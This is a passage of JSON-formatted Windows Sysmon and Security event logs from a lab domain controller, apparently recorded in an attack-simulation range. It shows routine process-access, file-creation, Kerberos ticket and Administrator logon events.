C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8614,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8615,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8616,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8617,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8618,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:05:20.339\r\nProcessGuid: {90617006-437E-5F2D-0000-00102C0F1200}\r\nProcessId: 4664\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1238-0\\PresentationFramework.Aero2.dll\r\nCreationUtcTime: 2020-08-07 12:05:20.339","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:05:20.339","ProcessGuid":"{90617006-437E-5F2D-0000-00102C0F1200}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1238-0\\PresentationFramework.Aero2.dll","CreationUtcTime":"2020-08-07 12:05:20.339","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222340,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222341,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{E8A8C5BB-4BD8-05D0-498D-D82B5AF5B546}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{E8A8C5BB-4BD8-05D0-498D-D82B5AF5B546}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222342,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{E8A8C5BB-4BD8-05D0-498D-D82B5AF5B546}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{E8A8C5BB-4BD8-05D0-498D-D82B5AF5B546}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222343,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x121B50\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E8A8C5BB-4BD8-05D0-498D-D82B5AF5B546}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x121b50","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{E8A8C5BB-4BD8-05D0-498D-D82B5AF5B546}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222344,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon 